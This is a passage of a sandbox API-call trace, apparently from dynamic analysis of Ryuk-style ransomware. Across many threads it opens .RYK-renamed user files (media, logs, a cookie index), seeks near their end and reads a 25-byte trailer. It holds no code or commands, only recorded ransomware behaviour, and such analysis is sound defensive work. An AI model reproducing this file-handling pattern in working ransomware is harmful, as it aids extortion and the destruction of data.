	[0275.781] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.xml.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa48
	[0275.781] GetFileSizeEx (in: hFile=0xa48, lpFileSize=0x923f898 | out: lpFileSize=0x923f898*=10466) returned 1
	[0275.781] GetFileSizeEx (in: hFile=0xa48, lpFileSize=0x923f8a8 | out: lpFileSize=0x923f8a8*=10466) returned 1
	[0275.781] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x27c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.781] ReadFile (in: hFile=0xa48, lpBuffer=0x923f8f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x923f860, lpOverlapped=0x0 | out: lpBuffer=0x923f8f0*, lpNumberOfBytesRead=0x923f860*=0x19, lpOverlapped=0x0) returned 1
	[0275.783] CloseHandle (hObject=0xa48) returned 1

Thread:
	id = 3521
	os_tid = 0x3454

	[0275.935] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0275.936] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0275.936] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x9cafd18 | out: lpFileSize=0x9cafd18*=67698) returned 1
	[0275.936] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x9cafd28 | out: lpFileSize=0x9cafd28*=67698) returned 1
	[0275.936] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0x10750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.936] ReadFile (in: hFile=0xa0c, lpBuffer=0x9cafd70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9cafce0, lpOverlapped=0x0 | out: lpBuffer=0x9cafd70*, lpNumberOfBytesRead=0x9cafce0*=0x19, lpOverlapped=0x0) returned 1
	[0275.938] CloseHandle (hObject=0xa0c) returned 1

Thread:
	id = 3522
	os_tid = 0x35d8


Thread:
	id = 3523
	os_tid = 0x5b0

	[0275.940] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0275.940] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0275.941] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x9ebf5b8 | out: lpFileSize=0x9ebf5b8*=99266) returned 1
	[0275.941] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x9ebf5c8 | out: lpFileSize=0x9ebf5c8*=99266) returned 1
	[0275.941] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0x182a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.941] ReadFile (in: hFile=0xa0c, lpBuffer=0x9ebf610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9ebf580, lpOverlapped=0x0 | out: lpBuffer=0x9ebf610*, lpNumberOfBytesRead=0x9ebf580*=0x19, lpOverlapped=0x0) returned 1
	[0275.943] CloseHandle (hObject=0xa0c) returned 1

Thread:
	id = 3524
	os_tid = 0x365c

	[0275.945] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv.RYK", dwFileAttributes=0x80) returned 1
	[0275.946] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0275.946] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x8dbf9f8 | out: lpFileSize=0x8dbf9f8*=98290) returned 1
	[0275.946] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x8dbfa08 | out: lpFileSize=0x8dbfa08*=98290) returned 1
	[0275.946] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0x17ed0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.946] ReadFile (in: hFile=0xa0c, lpBuffer=0x8dbfa50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8dbf9c0, lpOverlapped=0x0 | out: lpBuffer=0x8dbfa50*, lpNumberOfBytesRead=0x8dbf9c0*=0x19, lpOverlapped=0x0) returned 1
	[0275.948] CloseHandle (hObject=0xa0c) returned 1

Thread:
	id = 3525
	os_tid = 0x34a8

	[0276.233] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi.RYK", dwFileAttributes=0x80) returned 1
	[0276.234] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa50
	[0276.234] GetFileSizeEx (in: hFile=0xa50, lpFileSize=0x8fff918 | out: lpFileSize=0x8fff918*=48546) returned 1
	[0276.234] GetFileSizeEx (in: hFile=0xa50, lpFileSize=0x8fff928 | out: lpFileSize=0x8fff928*=48546) returned 1
	[0276.234] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0xbc80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.235] ReadFile (in: hFile=0xa50, lpBuffer=0x8fff970, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fff8e0, lpOverlapped=0x0 | out: lpBuffer=0x8fff970*, lpNumberOfBytesRead=0x8fff8e0*=0x19, lpOverlapped=0x0) returned 1
	[0276.236] CloseHandle (hObject=0xa50) returned 1

Thread:
	id = 3540
	os_tid = 0x16a0

	[0276.240] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg.RYK", dwFileAttributes=0x80) returned 1
	[0276.241] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c
	[0276.241] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x8e3fa78 | out: lpFileSize=0x8e3fa78*=68402) returned 1
	[0276.241] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x8e3fa88 | out: lpFileSize=0x8e3fa88*=68402) returned 1
	[0276.242] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0x10a10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.242] ReadFile (in: hFile=0xa5c, lpBuffer=0x8e3fad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e3fa40, lpOverlapped=0x0 | out: lpBuffer=0x8e3fad0*, lpNumberOfBytesRead=0x8e3fa40*=0x19, lpOverlapped=0x0) returned 1
	[0276.243] CloseHandle (hObject=0xa5c) returned 1

Thread:
	id = 3541
	os_tid = 0x324

	[0276.262] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3.RYK", dwFileAttributes=0x80) returned 1
	[0277.643] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0277.643] GetFileSizeEx (in: hFile=0xa34, lpFileSize=0x919fcf8 | out: lpFileSize=0x919fcf8*=7298) returned 1
	[0277.644] GetFileSizeEx (in: hFile=0xa34, lpFileSize=0x919fd08 | out: lpFileSize=0x919fd08*=7298) returned 1
	[0277.644] SetFilePointerEx (in: hFile=0xa34, liDistanceToMove=0x1b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.644] ReadFile (in: hFile=0xa34, lpBuffer=0x919fd50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x919fcc0, lpOverlapped=0x0 | out: lpBuffer=0x919fd50*, lpNumberOfBytesRead=0x919fcc0*=0x19, lpOverlapped=0x0) returned 1
	[0277.645] CloseHandle (hObject=0xa34) returned 1

Thread:
	id = 3542
	os_tid = 0xa74

	[0276.268] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK", dwFileAttributes=0x80) returned 1
	[0276.269] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4c
	[0276.269] GetFileSizeEx (in: hFile=0xa4c, lpFileSize=0x93ff998 | out: lpFileSize=0x93ff998*=1042) returned 1
	[0276.269] GetFileSizeEx (in: hFile=0xa4c, lpFileSize=0x93ff9a8 | out: lpFileSize=0x93ff9a8*=1042) returned 1
	[0276.269] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.269] ReadFile (in: hFile=0xa4c, lpBuffer=0x93ff9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93ff960, lpOverlapped=0x0 | out: lpBuffer=0x93ff9f0*, lpNumberOfBytesRead=0x93ff960*=0x19, lpOverlapped=0x0) returned 1
	[0276.271] CloseHandle (hObject=0xa4c) returned 1

Thread:
	id = 3543
	os_tid = 0x3734

	[0276.276] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv.RYK", dwFileAttributes=0x80) returned 1
	[0276.276] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa60
	[0276.277] GetFileSizeEx (in: hFile=0xa60, lpFileSize=0x92dfbf8 | out: lpFileSize=0x92dfbf8*=101218) returned 1
	[0276.277] GetFileSizeEx (in: hFile=0xa60, lpFileSize=0x92dfc08 | out: lpFileSize=0x92dfc08*=101218) returned 1
	[0276.277] SetFilePointerEx (in: hFile=0xa60, liDistanceToMove=0x18a40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.277] ReadFile (in: hFile=0xa60, lpBuffer=0x92dfc50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92dfbc0, lpOverlapped=0x0 | out: lpBuffer=0x92dfc50*, lpNumberOfBytesRead=0x92dfbc0*=0x19, lpOverlapped=0x0) returned 1
	[0276.279] CloseHandle (hObject=0xa60) returned 1

Thread:
	id = 3544
	os_tid = 0x3c04

	[0276.283] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg.RYK", dwFileAttributes=0x80) returned 1
	[0276.283] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa74
	[0276.283] GetFileSizeEx (in: hFile=0xa74, lpFileSize=0x959f838 | out: lpFileSize=0x959f838*=57250) returned 1
	[0276.284] GetFileSizeEx (in: hFile=0xa74, lpFileSize=0x959f848 | out: lpFileSize=0x959f848*=57250) returned 1
	[0276.284] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0xde80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.284] ReadFile (in: hFile=0xa74, lpBuffer=0x959f890, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x959f800, lpOverlapped=0x0 | out: lpBuffer=0x959f890*, lpNumberOfBytesRead=0x959f800*=0x19, lpOverlapped=0x0) returned 1
	[0276.286] CloseHandle (hObject=0xa74) returned 1

Thread:
	id = 3545
	os_tid = 0x3c08

	[0276.293] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0276.293] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa78
	[0276.294] GetFileSizeEx (in: hFile=0xa78, lpFileSize=0x97bfc78 | out: lpFileSize=0x97bfc78*=16674) returned 1
	[0276.294] GetFileSizeEx (in: hFile=0xa78, lpFileSize=0x97bfc88 | out: lpFileSize=0x97bfc88*=16674) returned 1
	[0276.294] SetFilePointerEx (in: hFile=0xa78, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.294] ReadFile (in: hFile=0xa78, lpBuffer=0x97bfcd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97bfc40, lpOverlapped=0x0 | out: lpBuffer=0x97bfcd0*, lpNumberOfBytesRead=0x97bfc40*=0x19, lpOverlapped=0x0) returned 1
	[0276.297] CloseHandle (hObject=0xa78) returned 1

Thread:
	id = 3546
	os_tid = 0x3c0c

	[0276.302] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4.RYK", dwFileAttributes=0x80) returned 1
	[0276.302] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c
	[0276.302] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x98ef798 | out: lpFileSize=0x98ef798*=4034) returned 1
	[0276.303] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x98ef7a8 | out: lpFileSize=0x98ef7a8*=4034) returned 1
	[0276.303] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0xea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.303] ReadFile (in: hFile=0xa7c, lpBuffer=0x98ef7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x98ef760, lpOverlapped=0x0 | out: lpBuffer=0x98ef7f0*, lpNumberOfBytesRead=0x98ef760*=0x19, lpOverlapped=0x0) returned 1
	[0276.305] CloseHandle (hObject=0xa7c) returned 1

Thread:
	id = 3547
	os_tid = 0x3c10

	[0276.307] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4.RYK", dwFileAttributes=0x80) returned 1
	[0276.308] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c
	[0276.308] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x9caf5b8 | out: lpFileSize=0x9caf5b8*=15890) returned 1
	[0276.308] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x9caf5c8 | out: lpFileSize=0x9caf5c8*=15890) returned 1
	[0276.308] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x3cf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.308] ReadFile (in: hFile=0xa7c, lpBuffer=0x9caf610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9caf580, lpOverlapped=0x0 | out: lpBuffer=0x9caf610*, lpNumberOfBytesRead=0x9caf580*=0x19, lpOverlapped=0x0) returned 1
	[0276.311] CloseHandle (hObject=0xa7c) returned 1

Thread:
	id = 3548
	os_tid = 0x3c14

	[0276.312] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps.RYK", dwFileAttributes=0x80) returned 1
	[0276.313] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c
	[0276.313] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x9eaf798 | out: lpFileSize=0x9eaf798*=91042) returned 1
	[0276.313] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x9eaf7a8 | out: lpFileSize=0x9eaf7a8*=91042) returned 1
	[0276.313] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x16280, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.313] ReadFile (in: hFile=0xa7c, lpBuffer=0x9eaf7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9eaf760, lpOverlapped=0x0 | out: lpBuffer=0x9eaf7f0*, lpNumberOfBytesRead=0x9eaf760*=0x19, lpOverlapped=0x0) returned 1
	[0276.315] CloseHandle (hObject=0xa7c) returned 1

Thread:
	id = 3549
	os_tid = 0x3c18

	[0276.316] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav.RYK", dwFileAttributes=0x80) returned 1
	[0276.317] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c
	[0276.317] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x9fdfab8 | out: lpFileSize=0x9fdfab8*=86466) returned 1
	[0276.317] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x9fdfac8 | out: lpFileSize=0x9fdfac8*=86466) returned 1
	[0276.317] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x150a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.317] ReadFile (in: hFile=0xa7c, lpBuffer=0x9fdfb10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9fdfa80, lpOverlapped=0x0 | out: lpBuffer=0x9fdfb10*, lpNumberOfBytesRead=0x9fdfa80*=0x19, lpOverlapped=0x0) returned 1
	[0276.319] CloseHandle (hObject=0xa7c) returned 1

Thread:
	id = 3550
	os_tid = 0x3c1c

	[0276.320] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3.RYK", dwFileAttributes=0x80) returned 1
	[0276.320] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c
	[0276.321] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0xa10f8d8 | out: lpFileSize=0xa10f8d8*=29250) returned 1
	[0276.321] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0xa10f8e8 | out: lpFileSize=0xa10f8e8*=29250) returned 1
	[0276.321] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x7120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.321] ReadFile (in: hFile=0xa7c, lpBuffer=0xa10f930, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa10f8a0, lpOverlapped=0x0 | out: lpBuffer=0xa10f930*, lpNumberOfBytesRead=0xa10f8a0*=0x19, lpOverlapped=0x0) returned 1
	[0276.323] CloseHandle (hObject=0xa7c) returned 1

Thread:
	id = 3551
	os_tid = 0x3c20

	[0276.739] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf.RYK", dwFileAttributes=0x80) returned 1
